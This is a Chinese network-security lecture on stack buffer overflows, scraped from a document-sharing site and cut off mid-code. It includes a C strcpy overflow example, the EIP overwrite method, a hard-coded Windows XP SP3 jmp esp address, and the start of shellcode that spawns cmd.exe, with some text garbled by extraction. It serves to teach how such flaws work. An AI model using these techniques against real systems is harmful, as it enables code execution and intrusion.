- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
网络安全讲义 缓冲区溢出的基本原理 什么是缓冲区溢出 在计算机内部,输入数据通常被存放在一个临时空间内,这个临时存放空间就被称为缓冲区,缓冲区的长度事先已经被程序或者操作系统定义好了。向缓冲区内填充数据,如果数据的长度很长,超过了缓冲区本身的容量,数据也会溢出存储空间,而装不下的数据则会覆盖在合法数据上 。 但我们可引导溢出的数据,使计算机执行我们想要的命令。 中断 计算机暂时中止当前的工作,而去处理更为急需处理的事情,把急需处理的事情处理完毕之后,再回头来继续原来的事情。 堆栈 栈是一数据结构,遵循“先进后出,后进先出”的规则,就像我们平时叠盘子一样,先放在下面的最后才能取出来,最后放上去的最先取出来 我们看一个例子 /*很简单的程序:*/ #includestdio.h #includestring.h char name[] = “abcdefg”;pu ?int main() {char output[8]; strcpy(output, name); ?for(int i=0;i8output[i];i++) printf(\\0x%x,output[i]); return 0;} C语言不做边界检查 /*很简单的程序:*/ #includestdio.h #includestring.h char name[] = “abcdefghijklmnopqrst”;pu ?int main() {char output[8]; strcpy(output, name); ?for(int i=0;i8output[i];i++) printf(\\0x%x,output[i]); return 0;} 没有溢出的情况 溢出的情况 精心覆盖EIP可以执行任意代码 我们可通过覆盖EIP为任意值来让程序运行到一个错误的地方,那如果我们特意把EIP覆盖成我们想去的程序的地方 ,计算机就会运行我们‘想要的程序’ 溢出攻击的难点 ‘有问题程序’返回点的精确位置 想要的程序 ShellCode ‘有问题程序’的返回点地址覆盖成我们ShellCode的地址 跳转的方式 Windows的系统核心dll包括kernel32.dll、user32.dll、gdi32.dll。这些dll一直位于内存中,而且对应于固定的版本,Windows加载的位置是固定的。在Windows下可以利用系统核心dll里的指令来完成跳转 。 我们可以用系统核心dll中的jmp esp地址来覆盖返回地址,而把ShellCode紧跟在后面,这样就可跳转到我们的ShellCode中 Winxp sp3 中的一个跳转地址 \x79\x5b\xe3\x77 77e35b79 Shellcode 的实现 我们可以在VC中按F10,选反汇编Disassemble ,就可以看到机器码 精心构造的机器码就是我们需要的Shellcode 用C语言开cmd窗口 #includewindows.h #includewinbase.h //定义函数指针 typedef void (*MYPROC)(LPTSTR); int main() { //定义句柄 HINSTANCE LibHandle; 用C语言开cmd窗口 //定义一个函数指针,其指向函数的参数是字符串,返回值是空 //调用它就相当于调用system函数 MYPROC ProcAdd; //加载msvcrt.dll 把dll的句柄给LibHandle LibHandle = LoadLibrary(msvcrt.dll); //查找system函数地址 ProcAdd = (MYPROC) 用C语言开cmd窗口 GetProcAddress(LibHandle,system); //其实就是执行system(cmd.exe) (ProcAdd)(cmd.exe); return 0; } 转换成汇编语言 int main() { __asm { //LoadLibrary(msvcrt.dll); mov esp,ebp push ebp sub esp,0Ch 转换成汇编语言 //生成字符串msvcrt.dll
您可能关注的文档
最近下载
- 基于springboot的校园二手交易小程序.docx VIP
- 小升初英语一般将来时专项训练.pdf VIP
- 17J008 挡土墙(重力式、衡重式、悬臂式)(最新).pdf VIP
- 《非麻醉医师实施口腔诊疗适度镇静镇痛专家共识》解读.pdf VIP
- 2023水电工程建设征地移民安置技术通则.docx VIP
- YY 0017-2016骨接合植入物 金属接骨板.pdf
- 银行业金融机构高级管理人员任职资格考试题库及答案——2024年整理.pdf
- 12第二编 第三章 司马迁与史记.pptx VIP
- 标准图集-23S519-小型排水构筑物.pdf VIP
- 16第二编 第七章 汉代文人诗.pptx VIP
文档评论(0)